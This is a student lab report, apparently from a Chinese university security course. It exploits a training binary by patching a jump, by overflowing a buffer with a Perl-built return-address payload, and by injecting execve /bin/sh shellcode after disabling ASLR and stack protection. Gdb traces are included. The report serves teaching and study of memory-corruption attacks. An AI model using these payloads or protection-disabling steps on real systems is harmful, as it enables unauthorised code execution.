Java教程

20192415 2021-2022-2 《网络与系统攻防技术》实验一实验报告

本文主要是介绍20192415 2021-2022-2 《网络与系统攻防技术》实验一实验报告，对大家解决编程问题具有一定的参考价值，需要的程序猿们随着小编来一起学习吧！

20192415 2021-2022-2 《网络与系统攻防技术》实验一实验报告

目录
  • 20192415 2021-2022-2 《网络与系统攻防技术》实验一实验报告
    • 1.实验内容
      • 1.1 实验要求
      • 1.2 基础知识
    • 2.实验过程
      • 2.1 直接修改程序机器指令，改变程序执行流程
      • 2.2 构造输入参数，造成BOF攻击
      • 2.3 注入Shellcode并执行
    • 3.问题及解决方案
    • 4.学习感悟
    • 5.参考资料

1.实验内容

1.1 实验要求

实践对象：一个名为pwn1的linux可执行文件（已改名为pwn20192415）。
程序正常执行流程：main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。
正常情况下getShell是不会被运行的。实践目标就是想办法运行getShell。
实践内容：

  1. 手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。
  2. 利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。
  3. 注入一个自己制作的shellcode并运行这段shellcode。

1.2 基础知识

1.2.1 汇编知识

  1. call：调用子程序。先将返回地址（EIP）压入栈顶，再将程序跳转到当前调用方法的起始地址。
    call=push eip + jump
  2. leave：关闭栈帧。栈指针指向帧指针，然后POP备份的原帧指针到%EBP。
    leave=mov %ebp %esp + pop %ebp
  3. ret：子程序的返回指令。栈顶的返回地址弹出到EIP，按照EIP此时指示的指令地址继续执行程序。
    ret=pop eip
  4. NOP：NOP指令即“空指令”。执行到NOP指令时，CPU什么也不做，仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。（机器码：90）
  5. EIP：寄存器，存放CPU下一条要执行指令的内存地址。例如：主函数调用子函数，EIP指明子函数执行完后回到主函数中要执行的指令是哪一条。
  6. ESP:寄存器，存放栈顶指针，并且始终指向栈顶。
  7. EBP:寄存器，存放栈底指针。当调用子函数前，ESP将值传递给EBP，作为栈底；当子函数调用结束后，EBP将值传递给ESP，ESP再次指向栈顶。

1.2.2 Linux操作

  1. objdump -d：从objfile中反汇编那些特定指令机器码的section。
  2. "|"：管道，将前者的输出作为后者的输入。
  3. ">"：输入输出重定向符，将前者输出的内容输入到后者中。
  4. more：分页显示文件内容。
  5. perl：后面紧跟单引号括起来的字符串，表示在命令行要执行的命令。Perl是一门解释型语言，不需要预编译，可以在命令行上直接使用。“perl -e”后面紧跟单引号括起来的字符串，表示在命令行要执行的命令;使用输出重定向“>”可将perl生成的字符串存储到文件中。
  6. xxd：为给定的标准输入或者文件做一次十六进制的输出，它也可以将十六进制输出转换为原来的二进制格式。
  7. ps -ef：显示所有进程，并显示每个进程的UID,PPIP,C与STIME栏位。

1.2.3 其他

  1. 小端模式：数据高字节保存在内存高地址，数据低字节保存在内存低地址。
  2. 大端模式：数据高字节保存在内存低地址，数据低字节保存在内存高地址，和阅读习惯一致。
  3. 栈：LIFO，栈顶低栈底高，增长方向由高地址向低地址，指令执行方向从低地址到高地址。
  4. shellcode：一段机器指令（code）。通常这段机器指令的目的是为获取一个交互式的shell（像linux的shell或类似windows下的cmd.exe），所以这段机器指令被称为shellcode。在实际的应用中，凡是用来注入的机器指令段都通称为shellcode，像添加一个用户、运行一条指令。
  5. ASLR：Address Space Layout Randomization，地址空间布局随机化。这是一种针对缓冲区溢出的安全保护技术。借助ASLR，文件每次加载到内存的起始地址都会随机变化。

2.实验过程

2.1 直接修改程序机器指令，改变程序执行流程

2.1.1 对目标文件pwn20192415反汇编，观察函数地址

objdump -d pwn20192415 | more	#反汇编文件pwn20192415的代码段，并分页显示
/getShell						#寻找getShell函数所在地址

main函数中，汇编指令"call 8048491 "将调用位于地址8048491处的foo函数。
对应机器指令为“e8 d7ffffff”，e8即“跳转”，CPU将执行地址为“EIP + d7ffffff”处指令。
从核心代码可知，foo函数的地址为0x8048491，则跳转时EIP=0x8048491-0xffffffd7=80484ba。

2.1.2 更改e8指令跳转地址

现在我们希望main调用getShell函数，则需要改变“e8”后的值。
从核心代码可知，getShell函数的地址为0x804847d，0x804847d-0x80484ba=0xffffffc3，所以应将“e8”后的值更改为“c3ffffff”，也就是需要把“d7”改为“c3”。

vi pwn20192415					#进入目标文件
:%!xxd							#转换为16进制
/d7								#查找要修改的内容，
rcr3							#用r将“d7”修改为c3
:%!xxd -r 						#转换16进制为原格式
:wq								#保存退出
objdump -d pwn20192415 | more	#反汇编查修改是否正确

修改完成后，函数汇编指令如图：

2.1.3 实验效果

再次运行pwn20192415，程序执行流程改变。
原先程序输入字符串会回显，现在会出现一个shell、可以输入任何指令。

2.2 构造输入参数，造成BOF攻击

2.2.1 对目标文件pwn20192415反汇编，观察漏洞

文件反汇编结果与2.1.1相同，观察代码并分析栈的内容。

08048491 <foo>:
 8048491:	55                   	push   %ebp
 8048492:	89 e5                	mov    %esp,%ebp
 8048494:	83 ec 38             	sub    $0x38,%esp			#预留0x38（56字节）给局部变量
 8048497:	8d 45 e4             	lea    -0x1c(%ebp),%eax		#预留0x1c（28字节）给“gets”得到的字符串
 804849a:	89 04 24             	mov    %eax,(%esp)			#读入字符串，超出部分溢出
 804849d:	e8 8e fe ff ff       	call   8048330 <gets@plt>
 80484a2:	8d 45 e4             	lea    -0x1c(%ebp),%eax
 80484a5:	89 04 24             	mov    %eax,(%esp)
 80484a8:	e8 93 fe ff ff       	call   8048340 <puts@plt>
 80484ad:	c9                   	leave  
 80484ae:	c3                   	ret 

080484af <main>:
 80484af:	55                   	push   %ebp
 80484b0:	89 e5                	mov    %esp,%ebp
 80484b2:	83 e4 f0             	and    $0xfffffff0,%esp
 80484b5:	e8 d7 ff ff ff       	call   8048491 <foo>		#调用foo,同时在堆栈上压上返回地址80484ba
 80484ba:	b8 00 00 00 00       	mov    $0x0,%eax
 80484bf:	c9                   	leave  
 80484c0:	c3                   	ret    
 80484c1:	66 90                	xchg   %ax,%ax
 ··············

观察可知，该函数预留0x38（56字节）给局部变量，预留0x1c（28字节）给“gets”得到的字符串。
若gets中得到的字符串长于32字节（28——0x1c + 4——EBP），则会覆盖到EIP位置。
只要我们构造的字符串能够溢出到EIP所在位置，将其中的返回地址“80484ba”覆盖为getShell函数的地址“804847d”，则程序执行完foo函数后将返回到getShell函数去执行。

2.2.2 确认输入字符串哪几个字符会覆盖到返回地址

使用gdb进行调试，输入“r”运行代码。

gdb pwn20192415				#进入gdb，调试程序pwn20192415

输入长度为36字节的字符串“12345abcdefghijklmnopqrstuvwxyz67890”，回显后提示发生段错误。

(gdb) r
Starting program: /root/pwn20192415 
12345abcdefghijklmnopqrstuvwxyz67890
12345abcdefghijklmnopqrstuvwxyz67890

Program received signal SIGSEGV, Segmentation fault.
0x30393837 in ?? ()

查看当前所有寄存器的值，其中EIP的值为“0x30393837”，对应字符“0987”，正是我们输入的第33~36个字节的内容。

(gdb) info r		#显示寄存器的值	
eax            0x25                37
ecx            0xf7fad890          -134555504
edx            0x25                37
ebx            0x0                 0
esp            0xffffd360          0xffffd360
ebp            0x367a7978          0x367a7978
esi            0xf7fac000          -134561792
edi            0xf7fac000          -134561792
eip            0x30393837          0x30393837
eflags         0x10246             [ PF ZF IF RF ]
cs             0x23                35
ss             0x2b                43
ds             0x2b                43
es             0x2b                43
fs             0x0                 0
gs             0x63                99

因此，可以判断输入的第33~36个字节的内容会覆盖到栈上的返回地址，进而CPU会尝试运行这个位置的代码。
那么，只要将这四个字节的内容替换为getShell的内存地址“804847d”，pwn20192415就会运行getShell。

2.2.3 确认字节序，构造字符串

输入为“7890”时EIP的值为“0x30393837”，说明字节序是小端优先。
想要得到“0804847d”，输入顺序应该为“7d 84 04 08”，也即为“32个字符+\x7d\x84\x04\x08”。
但“\x7d\x84\x04\x08”无法通过键盘输入，要用程序来完成（Perl）。

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input20192415	#把这一串字符存在文件input20192415中（0a即回车，若没有则程序运行时需要手工按）
xxd input20192415	#验证构造的字符串是否符合预期

2.2.4 实验效果

(cat input20192415; cat) | ./pwn20192415		#通过管道符，将input20192415作为pwn20192415的输入

2.3 注入Shellcode并执行

2.3.1 准备shellcode

shellcode就是一段机器指令（code）。
通常这段机器指令的目的是为获取一个交互式的shell（像linux的shell或类似windows下的cmd.exe），所以这段机器指令被称为shellcode。
在实际的应用中，凡是用来注入的机器指令段都通称为shellcode，像添加一个用户、运行一条指令。

本次实验直接使用许心远学姐编写好的shellcode，如下：

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
#这是一段实现shell返回的shellcode

2.3.2 修改设置，堆栈可执行，关闭地址随机化

修改设置：

apt-get install execstack						#安装execstack
execstack -s pwn20192415   						#设置堆栈可执行 
echo "0" > /proc/sys/kernel/randomize_va_space 	#关闭地址随机化

ASLR（Address Space Layout Randomization，地址空间布局随机化）是一种针对缓冲区溢出的安全保护技术。借助ASLR，文件每次加载到内存的起始地址都会随机变化。
/proc/sys/kernel/randomize_va_space用于控制Linux下内存地址随机化机制,有以下三种情况：
0 - 表示关闭进程地址空间随机化。
1 - 表示将mmap的基址，stack和vdso页面随机化。
2 - 表示在1的基础上增加栈（heap）的随机化。

查看设置效果：

execstack -q pwn20192415     					#查询文件的堆栈是否可执行
X pwn20192415
more /proc/sys/kernel/randomize_va_space 
0

2.3.3 构造要注入的payload

linux下有两种基本构造攻击buf的方法：

retaddr+nop+shellcode		#本次实验真正使用的是anything+retaddr+nops+shellcode
nop+shellcode+retaddr

retaddr在缓冲区的位置是固定的，shellcode要不在它前面，要不在它后面。
简单来说，缓冲区小就把shellcode放后边，缓冲区大就把shellcode放前边。

本次实验我们使用的是构造方法是 anything+retaddr+nops+shellcode 。
要做的第一步是确定retaddr的内存地址和应存放的内容。
先以如下内容作为输入，进行gdb调试并查看寄存器的变化过程：

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode20192415
#此处结尾必须为“\x00”，通过人工输入回车使foo函数继续执行，便于断点的设置

在一个终端中运行pwn20192415，在另一个终端中进行gdb调试：

(cat input_shellcode20192415;cat) | ./pwn20192415		#打开一个终端注入攻击buff
ps -ef | grep pwn20192415								#找到pwn20192415进程号
gdb														#启动gdb调试进程

调试过程如下：

(gdb) attach 1785
Attaching to process 1785
······
0xf7fd3079 in __kernel_vsyscall ()
(gdb) disassemble foo						#设置断点
Dump of assembler code for function foo:
   0x08048491 <+0>:	push   %ebp
   0x08048492 <+1>:	mov    %esp,%ebp
   0x08048494 <+3>:	sub    $0x38,%esp
   0x08048497 <+6>:	lea    -0x1c(%ebp),%eax
   0x0804849a <+9>:	mov    %eax,(%esp)
   0x0804849d <+12>:	call   0x8048330 <gets@plt>
   0x080484a2 <+17>:	lea    -0x1c(%ebp),%eax
   0x080484a5 <+20>:	mov    %eax,(%esp)
   0x080484a8 <+23>:	call   0x8048340 <puts@plt>
   0x080484ad <+28>:	leave  
   0x080484ae <+29>:	ret    
End of assembler dump.
(gdb) break *0x080484ae
Breakpoint 1 at 0x80484ae
(gdb) c
Continuing.

Breakpoint 1, 0x080484ae in foo ()
(gdb) info r
eax            0x25                37
ecx            0xf7fad890          -134555504
edx            0x25                37
ebx            0x0                 0
esp            0xffffd37c          0xffffd37c
ebp            0x9080cd0b          0x9080cd0b
esi            0xf7fac000          -134561792
edi            0xf7fac000          -134561792
eip            0x80484ae           0x80484ae <foo+29>
eflags         0x246               [ PF ZF IF ]
cs             0x23                35
ss             0x2b                43
ds             0x2b                43
es             0x2b                43
fs             0x0                 0
gs             0x63                99
(gdb) si							#单步执行观察esp和eip的变化
0x01020304 in ?? ()
(gdb) info r
eax            0x25                37
ecx            0xf7fad890          -134555504
edx            0x25                37
ebx            0x0                 0
esp            0xffffd380          0xffffd380
ebp            0x9080cd0b          0x9080cd0b
esi            0xf7fac000          -134561792
edi            0xf7fac000          -134561792
eip            0x1020304           0x1020304
eflags         0x246               [ PF ZF IF ]
cs             0x23                35
ss             0x2b                43
ds             0x2b                43
es             0x2b                43
fs             0x0                 0
gs             0x63                99
(gdb) x/16x 0xffffd380						#以16进制显示16个字符
0xffffd380:	0xf7fa0000	0xf7fac000	0x00000000	0xf7decb41
0xffffd390:	0x00000001	0xffffd424	0xffffd42c	0xffffd3b4
0xffffd3a0:	0x00000001	0x00000000	0xf7fac000	0xffffffff
0xffffd3b0:	0xf7ffd000	0x00000000	0xf7fac000	0xf7fac000
(gdb) x/16x 0xffffd37c
0xffffd37c:	0x01020304	0xf7fa0000	0xf7fac000	0x00000000
0xffffd38c:	0xf7decb41	0x00000001	0xffffd424	0xffffd42c
0xffffd39c:	0xffffd3b4	0x00000001	0x00000000	0xf7fac000
0xffffd3ac:	0xffffffff	0xf7ffd000	0x00000000	0xf7fac000
(gdb) x/16x 0xffffd35c
0xffffd35c:	0x90909090	0xc0319090	0x2f2f6850	0x2f686873
0xffffd36c:	0x896e6962	0x895350e3	0xb0d231e1	0x9080cd0b
0xffffd37c:	0x01020304	0xf7fa0000	0xf7fac000	0x00000000
0xffffd38c:	0xf7decb41	0x00000001	0xffffd424	0xffffd42c

由调试过程可知，输入字符的前32字节将从内存地址0xffff5c开始填充，33~36字节将从0xffff7c处开始填充，36字节之后将从0xffff80处开始填充。
同时，0xffff7c处开始的4个字节将作为EIP返回地址，这就是我们寻找的retaddr的内存地址。
而retaddr的内容，即输入字符的33~36字节内容，应该指向构造的shellcode。
我们可以将shellcode放置在输入字符的第36字节之后，当其装入内存后，0xffff80就是shellcode的起始地址（即retaddr的内容、输入字符的33~36字节内容）。

综上，最终构造的输入字符如下：

perl -e 'print "A" x 32;print "\x80\xd3\xff\xff\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode20192415_2
#若结尾使用“\x00”，运行程序后输入回车进入shell；若结尾使用“\x0a”，运行程序后直接进入shell

2.3.4 实验效果

3.问题及解决方案

  • 问题1：内存地址不断变动，原先shellcode注入成功重新开机后失败。

  • 问题1解决方案：每次开机后，必须重新关闭地址可随机化。

  • 问题2：文件没有运行权限。

  • 问题2解决方案：

      ls -alh					#查看权限
  chmod +x pwn20192415 	#增加执行权限

  • 问题3：构造方式nop+shellcode+retaddr为什么没成功？

  • 问题3原因：使用构造方式nop+shellcode+retaddr，其中“nop+shellcode”占输入字符的前32字节，“retaddr”占后4字节。
    构造字符为：

    perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x5c\xd3\xff\xff\x00"' > input_shellcode

实际运行过程中该方式未成功，进行单步调试查找原因，程序能够跳转到shellcode，问题出现在shellcode中的“push %ebx”。
可能是代码也栈上，当前栈顶也在这，push后就把指令给覆盖了，非常巧合。

  • 问题4：为什么使用“(cat inputxxxx; cat)”来作为执行文件的输入？为什么使用“(cat inputxxxx)”或“(cat inputxxxx;)”时会发生段错误？
  • 问题4解决方案：未解决

4.学习感悟

通过本次实现，我不仅实现了缓冲区溢出漏洞攻击，而且理解了调用函数时栈和寄存器的变化过程。
三个实践内容步步深入，使我逐渐熟悉了汇编语言、机器指令，增强了分析汇编指令执行过程的能力。
但这次实验也反映出，我对Linux命令、汇编知识的学习掌握还不够深入与熟练，需要继续不断学习不断巩固。
同时，本次实验是在“关闭堆栈执行保护、关闭地址随机化”的条件下才成功实现了缓冲区溢出漏洞攻击，如果抛开这样的条件限制，是否能够实现缓冲区溢出漏洞攻击、应该如何实现？还有许多内容需要学习。
感谢实验过程中老师的教导指导、同学的讨论互助，未来我们一起努力一起进步！

5.参考资料

  • 逆向及Bof基础实践说明
  • Push, Pop, call, leave 和 Ret 指令图解
  • Linux shell编程 12 shell输入输出之 cat、管道、tee
这篇关于20192415 2021-2022-2 《网络与系统攻防技术》实验一实验报告的文章就介绍到这儿，希望我们推荐的文章对大家有所帮助，也希望大家多多支持为之网！
您可能喜欢
栏目导航